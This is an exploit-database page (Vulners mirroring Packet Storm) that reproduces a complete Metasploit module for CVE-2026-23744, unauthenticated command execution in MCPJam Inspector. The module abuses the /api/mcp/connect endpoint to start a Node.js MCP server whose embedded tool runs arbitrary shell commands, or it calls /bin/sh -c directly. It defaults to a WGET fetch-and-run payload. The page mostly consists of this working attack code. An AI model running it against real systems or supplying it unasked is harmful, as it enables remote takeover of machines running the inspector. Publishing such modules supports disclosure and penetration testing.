Lucene search
+L

...[ More ]

🗓️ 03 Sep 2026 00:00:00Reported by earthenvessel, Louay-075Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Unauthenticated command execution in MCPJam Inspector via /api/mcp/connect endpoint.

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MCPJam Inspector Connect API Command Execution',
            'Description' => %q{
              This module exploits an unauthenticated command execution vulnerability in
              MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig
              object containing a command and argument list used to start an MCP server.
              A remote attacker can abuse this endpoint to execute arbitrary operating
              system commands as the user running MCPJam Inspector.
    
              By default, this module starts a transient Node.js stdio MCP server, then
              invokes a tool that executes the Metasploit command payload. A direct
              /bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP
              tool mode is more reliable when the inspector expects a valid MCP
              handshake.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Louay-075', # PoC author
              'earthenvessel' # Metasploit module
            ],
            'References' => [
              ['CVE', '2026-23744'],
              ['URL', 'https://github.com/mcpjam/inspector'],
              ['URL', 'https://packetinside.github.io/cves/cve-2026-23744/']
            ],
            'DisclosureDate' => '2026-01-16',
            'Payload' => {
              'Space' => 8192,
              'DisableNops' => true
            },
            'Privileged' => false,
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']),
            OptString.new('SERVER_ID', [true, 'Server ID to use for the transient MCP connection', random_server_id]),
            OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]),
            OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false])
          ]
        )
      end
    
      def base_path
        normalize_uri(target_uri.path)
      end
    
      def connect_path
        normalize_uri(base_path, 'api', 'mcp', 'connect')
      end
    
      def tools_execute_path
        normalize_uri(base_path, 'api', 'mcp', 'tools', 'execute')
      end
    
      def delete_server_path(id)
        normalize_uri(base_path, 'api', 'mcp', 'servers', id)
      end
    
      def random_server_id(prefix = 'msf')
        "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}"
      end
    
      def mcp_tool_names
        names = {}
        %i[
          readline fetch_default send_response response line message error child_process arguments command fetch_output
          exec_error stdout stderr child tool_name command_key fetch_output_key
        ].each do |name|
          random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}"
          random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}" while names.value?(random_name)
          names[name] = random_name
        end
    
        names
      end
    
      def post_connect(config, id:, timeout: 20)
        send_request_cgi(
          {
            'method' => 'POST',
            'uri' => connect_path,
            'ctype' => 'application/json',
            'data' => {
              'serverId' => id,
              'serverConfig' => config
            }.to_json
          },
          timeout
        )
      end
    
      def mcp_tool_payload(names, fetch_output: false)
        fetch_output_literal = fetch_output ? 'true' : 'false'
    
        %{
    const #{names[:readline]}=require('readline').createInterface({input:process.stdin});
    const #{names[:fetch_default]}=#{fetch_output_literal};
    function #{names[:send_response]}(#{names[:response]}){process.stdout.write(JSON.stringify(#{names[:response]})+'\\n')}
    #{names[:readline]}.on('line',function(#{names[:line]}){
      let #{names[:message]}; try{#{names[:message]}=JSON.parse(#{names[:line]})}catch(#{names[:error]}){return}
      if(#{names[:message]}.method==='initialize'){
        #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}});
      } else if(#{names[:message]}.method==='notifications/initialized'){
      } else if(#{names[:message]}.method==='tools/list'){
        #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{tools:[{name:'#{names[:tool_name]}',description:'run command',inputSchema:{type:'object',properties:{#{names[:command_key]}:{type:'string'},#{names[:fetch_output_key]}:{type:'boolean'}},required:['#{names[:command_key]}']}}]}});
      } else if(#{names[:message]}.method==='tools/call'){
        const #{names[:child_process]}=require('child_process');
        const #{names[:arguments]}=(#{names[:message]}.params&&#{names[:message]}.params.arguments)||{};
        const #{names[:command]}=#{names[:arguments]}['#{names[:command_key]}']||'id';
        const #{names[:fetch_output]}=#{names[:arguments]}['#{names[:fetch_output_key]}']===undefined?#{names[:fetch_default]}:!!#{names[:arguments]}['#{names[:fetch_output_key]}'];
        if(#{names[:fetch_output]}){
          #{names[:child_process]}.exec(#{names[:command]},{timeout:30000},function(#{names[:exec_error]},#{names[:stdout]},#{names[:stderr]}){
            #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:(#{names[:stdout]}||'')+(#{names[:stderr]}||'')+(#{names[:exec_error]}?String(#{names[:exec_error]}):'')}],isError:!!#{names[:exec_error]}}});
          });
        } else {
          const #{names[:child]}=#{names[:child_process]}.spawn('/bin/sh',['-c',#{names[:command]}],{detached:true,stdio:'ignore'});
          #{names[:child]}.unref();
          #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}});
        }
      } else if(#{names[:message]}.id!==undefined){
        #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{}});
      }
    });
        }.strip
      end
    
      def start_mcp_tool_server(id, names, fetch_output: datastore['FETCH_OUTPUT'])
        print_status("Starting transient Node.js MCP command server as server ID #{id}")
    
        post_connect(
          {
            'command' => 'node',
            'args' => ['-e', mcp_tool_payload(names, fetch_output: fetch_output)]
          },
          id: id,
          timeout: 20
        )
      end
    
      def execute_mcp_tool(id, cmd, names, fetch_output: datastore['FETCH_OUTPUT'])
        send_request_cgi(
          {
            'method' => 'POST',
            'uri' => tools_execute_path,
            'ctype' => 'application/json',
            'data' => {
              'serverId' => id,
              'toolName' => names[:tool_name],
              'parameters' => {
                names[:command_key] => cmd,
                names[:fetch_output_key] => fetch_output
              }
            }.to_json
          },
          35
        )
      end
    
      def cleanup_mcp_server(id)
        send_request_cgi('method' => 'DELETE', 'uri' => delete_server_path(id)) if id
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => base_path
        )
    
        return CheckCode::Unknown('No response from the target') unless res
    
        unless res.code == 200 && res.body&.include?('MCPJam Inspector')
          return CheckCode::Safe('The target does not appear to be MCPJam Inspector')
        end
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => connect_path,
          'ctype' => 'application/json',
          'data' => { 'serverId' => random_server_id('check') }.to_json
        )
    
        return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint could not be verified') unless res
    
        json = res.get_json_document
        auth_text = [
          json['error'],
          json['message'],
          json['hint']
        ].compact.join(' ')
        if [401, 403].include?(res.code) && auth_text.match?(/unauthorized|session token|required|X-MCP-Session-Auth/i)
          return CheckCode::Safe('MCPJam Inspector requires session-token authentication for the connect endpoint')
        end
    
        unless res.code == 400 && json['error'].to_s.include?('serverConfig is required')
          return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint response was unexpected')
        end
    
        id = random_server_id('check')
        marker = Rex::Text.rand_text_alphanumeric(12)
        names = mcp_tool_names
        res = start_mcp_tool_server(id, names, fetch_output: true)
        unless res&.code == 200
          return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed')
        end
    
        res = execute_mcp_tool(id, "printf #{marker}", names, fetch_output: true)
        return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200
    
        output = res.get_json_document.dig('result', 'content', 0, 'text').to_s
        if output.include?(marker)
          return CheckCode::Vulnerable('MCPJam Inspector executed a benign command through the unauthenticated connect endpoint')
        end
    
        CheckCode::Detected('MCPJam Inspector command execution response did not contain the expected marker')
      rescue JSON::ParserError
        CheckCode::Detected('MCPJam Inspector was detected, but an endpoint returned invalid JSON')
      rescue StandardError => e
        CheckCode::Unknown("Unable to complete check: #{e.class}: #{e.message}")
      ensure
        cleanup_mcp_server(id) if id
      end
    
      def execute_direct_sh(cmd, id)
        print_status("Sending direct /bin/sh command via MCPJam connect endpoint as server ID #{id}")
    
        res = post_connect(
          {
            'command' => '/bin/sh',
            'args' => ['-c', cmd]
          },
          id: id,
          timeout: 20
        )
    
        if res.nil?
          print_status('No HTTP response received after command dispatch')
          return
        end
    
        case res.code
        when 200
          print_good('Command dispatched and the target returned success')
        when 500
          print_status("Command dispatched; target returned #{res.code} #{res.message}, which is expected for non-MCP payloads")
        else
          print_warning("Unexpected response after command dispatch: HTTP #{res.code} #{res.message}")
          vprint_line(res.body.to_s)
        end
      end
    
      def execute_via_mcp_tool(cmd, id)
        names = mcp_tool_names
        res = start_mcp_tool_server(id, names)
    
        fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res
        unless res.code == 200
          fail_with(Failure::UnexpectedReply, "Failed to start MCP command server: HTTP #{res.code} #{res.message} #{res.body}")
        end
    
        print_good('MCP command server connected')
        print_status('Executing payload through MCP tools/execute')
    
        res = execute_mcp_tool(id, cmd, names)
    
        if res.nil?
          print_status('No HTTP response received after tool execution')
          return
        end
    
        unless res.code == 200
          print_warning("Unexpected tools/execute response: HTTP #{res.code} #{res.message}")
          vprint_line(res.body.to_s)
          return
        end
    
        result = res.get_json_document
        text = result.dig('result', 'content', 0, 'text').to_s
        if datastore['FETCH_OUTPUT']
          print_status("Command result: #{text.strip}") unless text.empty?
        else
          vprint_status("MCP tool response: #{text.strip}") unless text.empty?
        end
      rescue JSON::ParserError
        print_warning('Tools/execute returned non-JSON output')
      ensure
        cleanup_mcp_server(id)
      end
    
      def execute_command(cmd, _opts = {})
        id = datastore['SERVER_ID']
    
        if datastore['EXEC_METHOD'] == 'direct_sh'
          execute_direct_sh(cmd, id)
        else
          execute_via_mcp_tool(cmd, id)
        end
      end
    
      def exploit
        execute_command(payload.encoded)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation